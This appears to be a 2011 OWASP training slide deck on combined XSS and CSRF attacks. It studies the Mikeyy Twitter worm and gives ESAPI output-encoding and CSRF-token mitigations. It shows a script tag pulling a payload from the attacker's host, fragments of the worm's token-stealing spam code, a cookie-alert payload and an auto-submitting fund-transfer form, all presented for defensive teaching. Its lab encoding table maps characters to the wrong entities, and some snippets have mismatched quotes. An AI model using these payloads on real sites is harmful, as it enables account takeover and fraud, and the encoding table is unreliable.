Analysis of Deadly Combination of XSS and CSRF

OWASP Top 10 - Session 1
Modified for OWASP Tampa Day 2011

Sherif Koussa
sherif@softwaresecured.com
Those who do not learn from history are doomed to repeat it

George Santayana
Agenda

• Mikeyy Twitter Attack
• Understanding of XSS
• XSS Mitigation
• Understanding of CSRF
• CSRF Mitigation
• Questions
About Your Speaker

• OWASP Ottawa, Canada Chapter Leader
• SANS Steering Committee Member for GSSP-Java and GSSP-NET exams
• Exam Development Consultant for GIAC
• Principal Security Consultant at Software Secured
• Application Security Assessments
OWASP TOP 10 – Java Developer Training

- Designed for Busy Organizations
- Focuses on OWASP Top 10
- No Travel
- No Developer’s Downtime
- No Evenings or Weekends
- 7.5 Hours
Twitter

Who is a Tweeter?
What is Twitter?

“Twitter is a social networking and microblogging service that enables its users to send and read messages that are called Tweets” - Wikipedia
Mikeyy Twitter Worm

- Twitter Worm on April 11\textsuperscript{th}, 2009
- 4 Versions in 48 hours
- 1 version alone infected 18,000 accounts
- Combination of XSS and CSRF
Mikeyy Twitter Worm

• Mikeyy owned a Twitter replica called StalkDaily
• Mikeyy’s aim was to drive traffic from Twitter to his website.
Mikeyy Twitter Worm

• Twitter used an Anti-CSRF Mechanism
• However, the page was vulnerable to XSS
• XSS deems any Anti-CSRF solution useless
• The combination was used to spread the worm
Mikeyy Twitter Worm

• URL Field was vulnerable to XSS
• The attacker was able to inject:

```html
<script src=http://mikeyylolz.uuuq.com/x.js/>
```
Mikeyy Twitter Worm

• The source code of the attacker’s own profile page looked like this:


• Visitors’ browser will load x.js file once they visit his profile page.
Mikeyy Twitter Worm

www.twitter.com\mikeyy
Cross-Site Scripting

Sherif Koussa
sherif@softwaresecured.com
Cross-Site Scripting
The Definition

Cross-Site Scripting is the execution of unintended code, usually JavaScript, injected by an attacker in the victim’s browser.
XSS Example

```jsp
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

- A normal usage of the parameter `email` would consist of characters, integers and the letters `\' _ @`.
- Provided that `email` contains the value `sherif@softwaresecured.com`, the rendered HTML will be

```
Email Address: sherif@softwaresecured.com
```
XSS Example

- An attacker can inject the request with a malicious value for the parameter `email`
- Assume that `email` contains the value

```html
<script>alert(document.cookie)</script>
```

- The rendered HTML will actually take an executable form.
The JSP

```html
<html>
<body>
  <div>
    <% String email = request.getParameter("email"); %>
    Email Address: <%= email %>
  </div>
</body>
</html>
```
Email Address: sherif@softwaresecured.com
The Malicious HTML

```html
<html>
  <body>
    <div>
      <script>alert(document.cookie)</script>
    </div>
  </body>
</html>
```
How to Spot XSS?

• Anything retrieved from the request
  ➢ request.getParameter()
  ➢ request.getHeader()
  ➢ request.getCookie()
  ➢ request.getQueryString()
  ➢ . . . .etc

• Anything retrieved from the database
XSS: How to Fix It

- Encode output data using libraries like ESAPI from OWASP.
- Sanitize input data using strong white lists.
- Properly quote around your data
- Understand the data context
- Use HTTPOnly
- Leverage framework’s built-in controls
Different HTML Contexts

• HTML Context
• HTML Attribute Context
• JavaScript Context
• URL Context
• CSS Context
Mitigation in HTML Context
Java Example

• **Where:** Inside any HTML Tag

  ```html
  <td><%= request.getParameter( "input" )%> </td>
  ```

• **Dangerous Characters:**
  &lt; &gt; ‘ “

• **Mitigation:**

  Using ESAPI:

  ```java
  <td><%= ESAPI.encoder().encodeForHTML( request.getParameter( "input" ))%> </td>
  ```
Mitigation in HTML Attribute Context - Java Example

• Where:
For any non-event handler HTML attribute. For example:

```html
<div name='@request.getParameter( "input" )%>
</div>
```

• Dangerous Characters:

```
[space] % * + , - / ; < = > ^ |
```

• Mitigation:
Using ESAPI:

```html
<div name='@ESAPI.encoder().encodeForHTMLAttribute(request.getParameter( "input" ))%>
</div>
```
Mitigation in JavaScript Context
Java Example

• Where:

  Inside <script> tags and any HTML event-handler attribute


```html
<script>
var safe = '<%= request.getParameter("input")%>;
</script>
```

• Dangerous Characters:

  [space] % * + , - / ; < = > ^ |

• Mitigation:

  Using ESAPI:

```javascript
<% var safe = ESAPI.encoder().encodeForJavascript(request.getParameter("input")); %>
```
Mitigation in URL Context
Java Example

• Where:
For any non-event handler and non-style HTML attribute

```
<img src=<%= request.getParameter( "input" )%> />
```

• Dangerous Characters:

  [space] % * + , - / ; < = > ^ |

• Mitigation:
Using ESAPI:

```
<img src='<%= ESAPI.encoder().encodeForURL( request.getParameter( "input" ))%> ' />
```
Mitigation in CSS Context
Java Example

• Where:
For any non-event handler and non-style HTML attribute

```html
<span style="color:<%=request.getParameter("color")%>">...</span>
```

• Dangerous Characters:

```
[space] % * +, - / ; < = > ^ and |
```

• Mitigation:
Using ESAPI:

```html
<span style="color:<%=ESAPI.encoder().encodeForCSS(request.getParameter("color"))%>">...</span>
```
PAY ATTENTION 😊
Lab

" < " -> "&gt;"  \u003c
" > " -> "&lt;"  \u003e
" & " -> "&amp;"  \u0027
" ' " -> "&quot;"  \u0022
" " " -> "&apos;"  \u0026
Hello my name is Sherif
<script>alert("You are just XSSed");</script> This is an Innocent message box
Hello my name is Sherif
&lt;script&gt;alert(&quot;You are just XSSed&quot;);&lt;/script&gt;
This is an innocent message box
Cross-Site Request Forgery

Sherif Koussa
sherif@softwaresecured.com
Cross-Site Request Forgery is an attack where an adversary tricks an authenticated victim into performing an action unknowingly.
Example scenario:

1) Victim signs on to mybank

2) Victim visits attacker.com

3) Page contains CSRF code
   ```html
   <form action=https://mybank.com/transfer.jsp method=POST>
     <input name=recipient value=attacker>
     <input name=amount value=1000>
   </form>
   <script>document.forms[0].submit()</script>
   ```

4) Browser sends the request to mybank
   POST /transfer.jsp HTTP/1.1
   Cookie: <mybank authentication cookie>
   recipient=attacker&amount=1000

attacker.com

Victim browser

mybank.com
CSRF: What Does Not Work

• Using Post Only Requests
• Implementing Referrer Checks
• Using a Secret Cookie
CSRF: What Works

• Use Anti-CSRF solutions:
  – CSRF Guard
  – ASP.NET: ViewStateUserKey + EnableViewStateMac

• Un-predictable ID that is tied to the user session on every request
CSRF: Vulnerable Sites

• **ING Direct:** Additional accounts were created on behalf of an arbitrary user. Funds were also transferred out of user’s account.

• **YouTube:** Every single action was vulnerable to CSRF. Videos can be added, marked as inappropriate, subscribe to channels...etc

• **MetaFilter:** An attacker can take control of a user’s account

• **The New York Times:** Subscribers’ emails can be easily forged.

• **Twitter:** Seen earlier

• ....Probably Many Others?
CSRF: CSRF Mitigation
Example – CSRF Guard

• CSRF Guard
• Install and forget
• Hashed PRNG
CSRF: CSRF Mitigation Example – CSRF Guard

1. Add token with regex
2. Add token with HTML parser
3. Add token in browser with Javascript

User (Browser) → OWASP CSRFGuard

Verify Token

Business Processing
Mikeyyy Twitter Worm

BACK TO THE ATTACK
Mikeyy Twitter Worm

• The source code of the attacker’s own profile page looked like this:


• Visitors’ browser will load x.js file once they visit his profile page.
Twitter Worm

• The XSS part of the attack is complete
• X.js is a JavaScript file that launched the CSRF part of the attack
The worm now infected the viewer’s page and anyone who viewed an infected page

```javascript
var xss = urlencode('http://www.stalkdaily.com');

var ajaxConn = new XHConn();

ajaxConn1.connect("/account/settings", "POST",
    "authenticity_token" + authtoken + 
    "user[url]" + xss + 
    "tab=home&update=update");
```

Part of X.js that shows CSRF attack
Twitter Worm

• The list of tweets in an Array

```javascript
var randomUpdate = new Array();
randomUpdate[0] = "Dude, www.StalkDaily.com is awesome. What's the fuss?";
```

• Finally, code to send random automated tweets

```javascript
var ajaxConn = new XHConn();
ajaxConn.connect("/status/update", "POST",
"authenticity_token="+authtoken+"&status="+updateEncode+"&tab=home&update=update");
```
Mikeyy Twitter Worm

www.twitter.com\mikeyy
Questions?
References

- http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet